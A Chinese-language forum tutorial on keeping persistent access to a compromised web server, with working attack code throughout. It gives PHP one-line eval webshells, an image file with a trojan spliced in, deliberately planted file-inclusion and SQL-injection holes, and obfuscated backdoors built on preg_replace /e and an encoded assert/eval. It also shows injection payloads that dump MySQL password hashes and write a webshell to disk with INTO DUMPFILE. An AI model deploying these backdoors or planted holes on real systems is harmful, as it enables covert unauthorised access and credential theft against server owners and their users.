web端權限維持

前言

關於權限維持,我之前寫過一篇基於系統端的後門技術文章,如映像劫持啊,lpk之類。當然啦,在拿到權限後,在web端做手腳也是個好辦法。
PS:還是希望論壇早點支持markdown哦,不然排版很是費勁。

內容目錄:

- 構造文件包含漏洞
- 隱蔽性腳本木馬
- 構造sql注入點

正文

0x01 構造文件包含漏洞

>**本部分概覽:**
> * 基本的文件包含姿勢
> * 製作圖片馬
> * 構造文件包含漏洞


- **PHP文件包含漏洞介紹**

首先,我們來介紹下何爲文件包含漏洞。嚴格來說,文件包含漏洞是`代碼注入`的一種。其原理就是注入一段用戶能控制的腳本或代碼,並讓服務端執行。`代碼注入`的典型代表就是文件包含。文件包含漏洞可能出現在`JSP、PHP、ASP`等語言中,原理都是一樣的,本實驗以PHP文件包含漏洞做例子。
要想成功利用文件包含漏洞進行攻擊,需要滿足以下兩個條件:

> 1. Web應用採用include()等文件包含函數通過動態變量的方式引入需要包含的文件;
> 2. 用戶能夠控制該動態變量。

在PHP中,有四個用於包含文件的函數,當使用這些函數包含文件時,文件中包含的PHP代碼會被執行。下面對它們之間的區別進行解釋:

>`include()`:當使用該函數包含文件時,只有代碼執行到`include()`函數時纔將文件包含進來,發生錯誤時只給出一個警告,繼續向下執行。

>`include_once()`:功能和`include()`相同,區別在於當重複調用同一文件時,程序只調用一次。

>`require()`:`require()`與`include()`的區別在於`require()`執行如果發生錯誤,函數會輸出錯誤信息,並終止腳本的運行。使用`require()`函數包含文件時,只要程序一執行,立即調用文件,而include()只有程序執行到該函數時才調用。

>`require_once()`:它的功能與`require()`相同,區別在於當重複調用同一文件時,程序只調用一次。


#### 步驟1 基本的文件包含姿勢

以下所有步驟建立在已經取得目標機權限的情況下。

我們假設事先通過一系列的滲透測試得到了目標機的一句話webshell。

假設我們事前得知,目標服務器的一些腳本文件存在文件包含漏洞,如:
/clude.php?file=index.php

其參數`file`沒有作很好的過濾,可以包含任意文件。

比如,我們在漏洞文件`clude.php`同目錄新建一個文件`getshell.php`,內容是PHP一句話木馬:
<?php @eval($_POST['pass']);?>

使用中國菜刀進入文件管理功能並如下操作:



那麼我們嘗試通過`clude.php`包含腳本木馬`getshell.php`:

/clude.php?file=getshell.php



點擊`Enable Post data`調出POST數據欄,並POST以下數據:

pass=system('set');



此處傳遞的變量是通過調用PHP的`system()`函數執行`set`命令來查看當前系統的環境變量。

當然,這裏直接包含了一個木馬文件,在我們已經有了webshell的情況下,這好像並沒有很大意義。隱蔽性並不是很強。


#### 步驟2 製作圖片馬

PHP文件包含,其包含的文件無論是什麼格式,都會被當做PHP文件來解析。

那麼,如果惡意代碼被插入到了一個正常的網頁圖片中,而且圖片在被插入惡意代碼之後還能正常顯示,那隱蔽性就增強了。

圖片木馬其實還有另一點意義,有些網站我們在滲透測試嘗試上傳shell的時候,會要用到上傳文件,但是有的時候都會有過濾,如果只是上傳`.asp .php`結尾的文件的話系統是不會給你上傳的,那麼這個時候我們通常會把一句話放在圖片裏面,寫成`1.asp;.jpg或1.asp;jpg`的格式上傳上去,這樣上傳的時候系統檢測是圖片,然後在上傳之後,會把這個文件當asp文件來處理。

那麼如何用製作圖片形式的一句話木馬呢?

首先我們在工具目錄準備了一個圖片文件`1.png`,和一個一句話木馬文件`hack.php`。
準備好之後就在該目錄開啓命令行,然後輸入以下命令:

copy 1.png/b+hack.php test.png

然後回車就係統就會自動把這兩個文件組合起來並命名爲`test.png`:



這個時候我們打開兩個文件對比一下,用記事本打開,發現`1.png`的內容當中已經把我們的`hack.php`的一句話木馬語句已經加加到圖片當中去了。



當然了,最重要的是,被寫入了一句話的圖片還是可以正常打開的,此爲本步驟的目的所在:



那麼,在實際滲透測試實驗中,我們通常是通過下載網站原有的圖片文件並替換成一句話木馬最後通過替換原本的圖片文件達到一定的隱蔽效果。

那麼我們試試該圖片木馬是否可用,先通過中國菜刀的文件上傳功能把`test.png`上傳到目標機根目錄:




那麼我們嘗試通過`clude.php`包含一句話圖片木馬`test.png`:

/clude.php?file=test.png



點擊`Enable Post data`調出POST數據欄,並POST以下數據:


pass=system('set');



此處傳遞的變量是通過調用PHP的`system()`函數執行`set`命令來查看當前系統的環境變量。

當然,這裏還是直接包含了一個木馬文件,在我們已經有了webshell的情況下,這好像並沒有很大意義。隱蔽性並不是很強。


####  步驟3 構造文件包含漏洞

那麼假設我們拿到shell的服務器上的腳本文件都不存在文件包含漏洞就需要我們自己來構造漏洞了,以達到權限維持的效果。

文件包含漏洞的腳本文件的構造就比較簡單了,直接寫一個不帶有任何過濾的利用`include()`函數調用文件的PHP文件,文件代碼及相關的註釋如下:

<?php
  $filename=$_GET['filename'];  //將參數file的值傳遞給$filename變量
  include($filename);  //使用include()函數包含文件
?>

上述代碼我們已經保存在工具目錄的`include.php`,我們使用中國菜刀的文件管理功能把`include.php`上傳到目標站根目錄:

接下來我們在瀏覽器訪問以下URL以包含圖片木馬`test.png`:

http://172.16.12.2/include.php?filename=test.png



此處的PNG文件被當做是PHP文件解析,於是直接顯示了圖片亂碼,我們在亂碼最後並沒有發現我們的一句話木馬痕跡,於是推斷我們的一句話木馬已經被解析。

接着我們點擊`Enable Post data`調出POST數據欄,並POST以下數據:

pass=system('net user');



此處傳遞的變量是通過調用PHP的`system()`函數執行`set`命令來查看當前系統的環境變量。

我們在圖片亂碼下面可以看到`net user`命令的回顯。

至此,圖片木馬被成功部署並利用。



0x02 隱蔽性腳本木馬

>**本部分概覽:**
> * 使用`preg_replace`函數留後門
> * 使用加密`preg_replace`函數
> * 變異加密型後門

#### 步驟1 使用`preg_replace`函數留後門


其實我們可以通過如下代碼實現了隱藏式後門:

<?php @preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");?>

乍看到這個代碼覺得沒什麼問題,這裏用到的是php的`preg_replace`函數:

- `preg_replace`函數原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特別說明:

`/e`修正符使`preg_replace()`將`replacement`參數當作 PHP代碼(在適當的逆向引用替換完之後)。

提示:要確保`replacement`構成一個合法的 PHP 代碼字符串,否則 PHP 會在報告:在"包含 `preg_replace()` 的行中出現語法解析錯誤."

上面的代碼是POST接收數據,實現可能不太直觀,如果換成GET獲取數據的話可以更好地理解:

舉例,代碼如下:

<?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?>

我們假設事先通過一系列的滲透測試得到了目標機的一句話webshell。
在中國菜刀的文件管理頁面右鍵,新建一個`test.php`,內容是上述的`get`方式提交的一句話:

<?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?>

如果我們提交`?h=phpinfo()`即是通過傳參執行了PHP的`phpinfo()`函數。

即在瀏覽器訪問以下URL傳遞需要執行的變量函數`phpinfo()`:

/test.php?h=phpinfo();



如上圖可見`phpinfo()`將會被執行(用`/e`修飾符,`preg_replace`會將`replacement`參數當作PHP代碼執行)。


在PHP中,雙引號裏面如果包含有變量,php解釋器會將其替換爲變量解釋後的結果,單引號中的變量不會被處理。

**注意:**雙引號中的函數不會被執行和替換。



#### 步驟2 使用加密`preg_replace`函數

我們準備了一個加密`preg_replace`函數的一個php後門文件:

文件內容如下:
<?php
$MMIC= $_GET['tid']?$_GET['tid']:$_GET['fid'];
if($MMIC >1000000){
  die('404');
}
if (isset($_POST["\x70\x61\x73\x73"]) && isset($_POST["\x63\x68\x65\x63\x6b"]))
{
  $__PHP_debug   = array (
    'ZendName' => '70,61,73,73',
    'ZendPort' => '63,68,65,63,6b',
    'ZendSalt' => '202cb962ac59075b964b07152d234b70'  //792e19812fafd57c7ac150af768d95ce
  );
  
  $__PHP_replace = array (
    pack('H*', join('', explode(',', $__PHP_debug['ZendName']))),
    pack('H*', join('', explode(',', $__PHP_debug['ZendPort']))),
    $__PHP_debug['ZendSalt']
  );
  $__PHP_request = &$_POST;
  $__PHP_token   = md5($__PHP_request[$__PHP_replace[0]]);
  
  if ($__PHP_token == $__PHP_replace[2])
  {
    $__PHP_token = preg_replace (
      chr(47).$__PHP_token.chr(47).chr(101),
      $__PHP_request[$__PHP_replace[1]],
      $__PHP_token
    );
  
    unset (
      $__PHP_debug,
      $__PHP_replace,
      $__PHP_request,
      $__PHP_token
    );
  
    if(!defined('_DEBUG_TOKEN')) exit ('Get token fail!');
  
  }
}



上述代碼最後解密出來其實還是利用`preg_replace`的`/e`來執行的一句話webshell。

代碼中的md5值`202cb962ac59075b964b07152d234b70`明文是`123`。

我們先通過上個步驟中的一句話木馬把`test1.php`上傳到目標機根目錄,

該木馬的利用方式是訪問該文件並通過POST方式提交類似如下數據:

pass=123&check=phpinfo();

那麼我們在瀏覽器POST數據一般是通過火狐瀏覽器的hackbar插件,

火狐瀏覽器的的Hackbar插件的POST數據欄默認是不開啓的,我們需要勾選上圖紅圈中的部分已啓動POST欄。

啓動POST欄之後,我們在`Post data`一欄輸入以下數據來POST給服務器:

pass=123&check=phpinfo();

上述POST的數據是嘗試執行`phpinfo()`函數:




如上圖可見,`phpinfo()`函數被成功執行。

當然我們還能通過`system()`函數來執行系統命令:

如通過火狐瀏覽器的Hackbar插件POST以下數據:

pass=123&check=system('set')



上述POST的數據中就是執行了系統命令`set`查看當前操作系統環境變量,如上圖,我們成功取得了返回。


#### 步驟3 變異加密型後門

我們這裏準備了一個PHP腳本後門,代碼很是奇葩,源代碼如下:
<?php
function cve($str,$key)
{
$t="";
for($i=0; $i<strlen($str); $i=$i+2)
{
    $k=(($i+2)/2)%strlen($key);
    $p=substr($key, $k,1);
    if(is_numeric(substr($str, $i,1)))
    {
        $t=$t.chr(hexdec(substr($str, $i,2))-$p);
    }
    else
    {
        $t=$t.chr(hexdec(substr($str, $i,4)));
        $i=$i+2;
    }
}
return($t);
}
 
(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
?>


上述源碼,光看看你是看不出什麼端倪的。我們爲了方便大家看到上述代碼到底做了些什麼,對代碼做了輸出調試處理,輸出每個步驟的輸出,並對代碼做了一些詳細的解釋:

<?php
function cve($str,$key)
{
$t="";
echo $str.">>".$key."";
for($i=0; $i<strlen($str); $i=$i+2)
{   echo $i." while ";//這裏是循環次數
    $k=(($i+2)/2)%strlen($key);
    echo " ---- ".$k; //這裏經過上面算法處理後的,本次(i+2/2)%(字符串長度)
    $p=substr($key, $k,1); //取key變量從$k開始,返回1個字符
    echo " ---- ".$p; //
    if(is_numeric(substr($str, $i,1)))//如果$str字符串在$i的位置返回是數字的話
    {
        $t=$t.chr(hexdec(substr($str, $i,2))-$p);
        echo $t." >>>>>>yes int"."";//$str字符串在$i位置開始返回2個字符轉化爲10進制數字,然後減去上面的$p,用chr返回對應的ASCII碼值
    }
    else
    {
        $t=$t.chr(hexdec(substr($str, $i,4)));
        $i=$i+2;
        echo $t." >>>>>>is no int"."";//如果if判斷的不是數字的話走這裏,這裏和上面一樣區別是從$i位置開始返回4個字符並給$i+2,走到這個流程的話每次是4
    }
}
echo $t." >>>>>>return>>>>>>".$t."";
return($t);
}
 
(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
//(@$_=assert).@$_(eval(base64_decode($_POST['z0']))); //第一次解密
//assert(eval(base64_decode($_POST['z0']))); //第二次解密
 
//發現是base64編碼的變形馬
echo "".base64_encode("phpinfo();").""; //cGhwaW5mbygpOw==
//只要post發請求 z0=cGhwaW5mbygpOw== 即可使用了這個木馬了
//不過這個木馬覺的使用者應該會用跳板去中轉base64編碼,這樣一個達到了跳板隱藏的作用,另一個用base64編碼繞過waf
?>


做了調試的的源碼我們命名爲`base1.php`:

接着我們使用中國菜刀把上述兩個文件`base.php`和`base1.php`都上傳到網站根目錄。

好了之後我們訪問已經做了調試的`base1.php`:

```
http://172.16.12.2/base1.php
```


如上圖可見,php文件運行起來後輸出結果如下:

上述代碼文件我們是一步一步輸出的,輸出到最後,我們發現,生成的竟然是經典的PHP版一句話木馬文件代碼:

eval(base64_decode($_POST[‘z0’]))

上述一句話木馬文件中在POST數據外加了`base64_decode`函數,於是我們需要對變量的提交做`base64`加密處理。

`base.php`上傳之後具體的URL地址如下:

6A767C687B77>>39
0 while —- 1 —- 9a >>>>>>yes int
2 while —- 0 —- 3as >>>>>>yes int
4 while —- 1 —- 9ass >>>>>>yes int
6 while —- 0 —- 3asse >>>>>>yes int
8 while —- 1 —- 9asser >>>>>>yes int
10 while —- 0 —- 3assert >>>>>>yes int
assert >>>>>>return>>>>>>assert
6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E>>520
0 while —- 1 —- 2e >>>>>>yes int
2 while —- 2 —- 0ev >>>>>>yes int
4 while —- 0 —- 5eva >>>>>>yes int
6 while —- 1 —- 2eval >>>>>>yes int
8 while —- 2 —- 0eval( >>>>>>yes int
10 while —- 0 —- 5eval(b >>>>>>yes int
12 while —- 1 —- 2eval(ba >>>>>>yes int
14 while —- 2 —- 0eval(bas >>>>>>yes int
16 while —- 0 —- 5eval(base >>>>>>yes int
18 while —- 1 —- 2eval(base6 >>>>>>yes int
20 while —- 2 —- 0eval(base64 >>>>>>yes int
22 while —- 0 —- 5eval(base64_ >>>>>>yes int
24 while —- 1 —- 2eval(base64_d >>>>>>yes int
26 while —- 2 —- 0eval(base64_de >>>>>>yes int
28 while —- 0 —- 5eval(base64_dec >>>>>>yes int
30 while —- 1 —- 2eval(base64_deco >>>>>>yes int
32 while —- 2 —- 0eval(base64_decod >>>>>>yes int
34 while —- 0 —- 5eval(base64_decode >>>>>>yes int
36 while —- 1 —- 2eval(base64_decode( >>>>>>yes int
38 while —- 2 —- 0eval(base64_decode($ >>>>>>yes int
40 while —- 0 —- 5eval(base64_decode($_ >>>>>>yes int
42 while —- 1 —- 2eval(base64_decode($_P >>>>>>yes int
44 while —- 2 —- 0eval(base64_decode($_PO >>>>>>yes int
46 while —- 0 —- 5eval(base64_decode($_POS >>>>>>yes int
48 while —- 1 —- 2eval(base64_decode($_POST >>>>>>yes int
50 while —- 2 —- 0eval(base64_decode($_POST[ >>>>>>yes int
52 while —- 0 —- 5eval(base64_decode($_POST[‘ >>>>>>yes int
54 while —- 1 —- 2eval(base64_decode($_POST[‘z >>>>>>yes int
56 while —- 2 —- 0eval(base64_decode($_POST[‘z0 >>>>>>yes int
58 while —- 0 —- 5eval(base64_decode($_POST[‘z0’ >>>>>>yes int
60 while —- 1 —- 2eval(base64_decode($_POST[‘z0’] >>>>>>yes int
62 while —- 2 —- 0eval(base64_decode($_POST[‘z0’]) >>>>>>yes int
64 while —- 0 —- 5eval(base64_decode($_POST[‘z0’])) >>>>>>yes int
eval(base64_decode($_POST[‘z0’])) >>>>>>return>>>>>>eval(base64_decode($_POST[‘z0’]))


我們在火狐瀏覽器訪問該文件,並使用Hackbar插件直接提交下面的數據是不行的:
```
z0=phpinfo();
```


我們需要把對`z0`變量的賦值進行加密,加密後的數據形式如下:

```
z0=cGhwaW5mbygpOw==
```
我們直接選中`z0=phpinfo();`中的`phpinfo();`,然後點擊`Encoding`->`Base64 Encoding`,如此`phpinfo();`將會被加密:



加密完成後,我們點擊`Execute`提交:



如上圖,`phpinfo()`函數被成功執行。

那麼我們也可以嘗試執行系統命令如`net user`:
常規來說,我們提交的是如下數據:

```
z0=system('net user');
```

在這裏我們就需要對變量的賦值`system('net user');`部分進行加密,選中POST欄的`phpinfo();`,然後點擊`Encoding`->`Base64 Encoding`,然後POST的數據變成如下形式:

```
z0=c3lzdGVtKCd2ZXInKTs=
```
加密完成後,我們點擊`Execute`提交:




如上圖可見,`net user`命令被成功執行而且我們獲得了清晰地返回信息。



0x03 構造sql注入點

>**本部分概覽:**
> * 構造注入點
> * 利用構造的注入點


本部分以php腳本和MySQL數據庫爲例,演示在獲得目標機權限之後,在目標機上面構造一個注入漏洞方便我們後續隱蔽性維持權限的方法。

#### 步驟1 構造注入點


我們假設事先通過一系列的滲透測試得到了目標機的一句話webshell。
打開中國菜刀工具添加一句話木馬,注意數據庫配置信息填寫如下數據(事先獲得):
<T>MYSQL</T>
<H>localhost</H>
<U>root</U>
<>root</P>
<N>mysql</N>



使用中國菜刀進入到目標機的數據庫管理功能:

在中國菜刀的數據庫管理功能頁面執行以下語句以創建一個新的數據庫:

```
create database sqlinject;
```

然後退出該數據庫管理頁面,在重新進入數據庫管理頁面就能看到新建的數據庫`sqlinjec`了,我們雙擊該數據庫名切換到該數據庫:

然後執行以下語句在`sqlinject`數據庫中建立表和列:

```
create table admin(id int auto_increment primary key,username varchar(32) not null,password varchar(32) not null);
```


再執行以下語句想表中的列寫入字段值:

```
insert into admin (username,password) values ('admin',md5('admin')),('safe',md5('12345')),('test',md5('test'));
```



然後我們雙擊查看`inject`數據庫下各項,可以看到數據已經寫入。

接下來我們需要構造腳本文件調用上述數據庫,腳本文件內容如下:
<?php
$db_host = 'localhost';
$db_user = 'root';
$db_pass = 'root';
$id = $_REQUEST['id'];
 
$link = mysql_connect($db_host, $db_user, $db_pass) or die("DB Connect Error:" . mysql_error());
mysql_select_db('sqlinject', $link) or die("Can\'t use sqlinject:" . mysql_error());
$sql = "SELECT * FROM admin WHERE id=$id";
$query = mysql_query($sql) or die("Invalid Query:" . mysql_error());
while ($row = mysql_fetch_array($query))
{
    echo "用戶ID:" . $row['id'] . "<br>";
    echo "用戶賬號:" . $row['username'] . "<br>";
    echo "用戶密碼:" . $row['password'] . "<br>";
}
mysql_close($link);
 
echo "當前查詢語句:".$sql."<br>";
?>


該文件上傳完畢後,我們根據上述腳本內容推測,構造的sql注入點如下:
/test.php?id=1

#### 步驟2 利用構造的注入點

根據我們之前講的sql注入相關知識,我們嘗試通過構造以下語句讀取數據庫用戶相關信息:

test.php?id=-1 union select concat(host,0x7c,user,0x7c,password),2,3 from mysql.user where host = 'localhost'#

>我們把參數從1改爲-1是爲了防止當前查詢的返回結果影響我們到時候提取指定文本。

>`concat()`函數把多個需要查詢的字段放在一起

>`0x7c`是`|`符號的16進制轉碼結果,有利於我們到時候把字段區分開。



我們得到以下具體信息:

localhost|root|*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

如此得知本地主機`localhost`的`root`賬戶的密碼hash是`*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B`。

實際滲透測試中,我們可以通過`cmd5.com`的大型hash破解平臺來破解密碼,我們這裏通過線上破解得知,此hash對應的密碼值爲`root`。這些信息可以用來後續的mysql提權。

後來假設我們之前的一句話木馬被管理員刪除了,然而我們還是可以利用上述我們創建的sql注入點向服務器再寫入一個腳本木馬。

然後我們嘗試在這裏寫一個一句話webshell到服務器,一句話木馬樣本如下:

<?php @eval($_POST['pass']);?>

我們在火狐瀏覽器的HackBar插件把上述一句話木馬轉換爲16進制,目的是避免特殊字符的轉義導致語句不能正確執行:



如圖,一句話木馬加密後的結果爲:

3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e

然後在注入點構造以下語句把一句話導出到`c:/www/small.php`,我們在一句話木馬的16進制字符前加了`0x`(此爲16進制標識符):
/test.php?id=-1 union select 0x3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e,2,3 into dumpfile 'c:/www/small.php'





以上語句連續執行兩次,如果出現以下錯誤,即說明文件寫入成功:

Invalid Query:File 'c:/www/small.php' already exists
//第二次寫入提示文件已存在則說明文件寫入成功

我們嘗試使用中國菜刀連接一句話木馬,如下圖操作:




至此,我們成功夠早了sql注入點併成功利用其向目標機寫入了新的webshell。

分析與總結

本部分我們主要學習了以下內容:

  • - 隱蔽性腳本木馬
  • - 畸形目錄隱藏shell
  • - 構造文件包含漏洞
  • - 構造sql注入點


通過本實驗,我們學習了幾種比較奇特的隱蔽性的腳本木馬的原理和利用方式,目的在於維持web端的權限。還學習了基本的文件包含漏洞的利用、圖片木馬的製作,以及如何構造文件包含漏洞以便我們後續維持web端權限、在目標服務器web端構造sql注入點用以後續維持權限的方式。

當然,web端權限維持技術各種各樣,不僅於此,只有你想不到,沒有滲透測試人員做不到。

若涉及敏感操作,請在法律允許的範圍內測試!

文中0x02的步驟3:變異加密型後門,之前參考t00ls某牛的文章做的記錄,已找不到原文鏈接,故未附鏈接。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章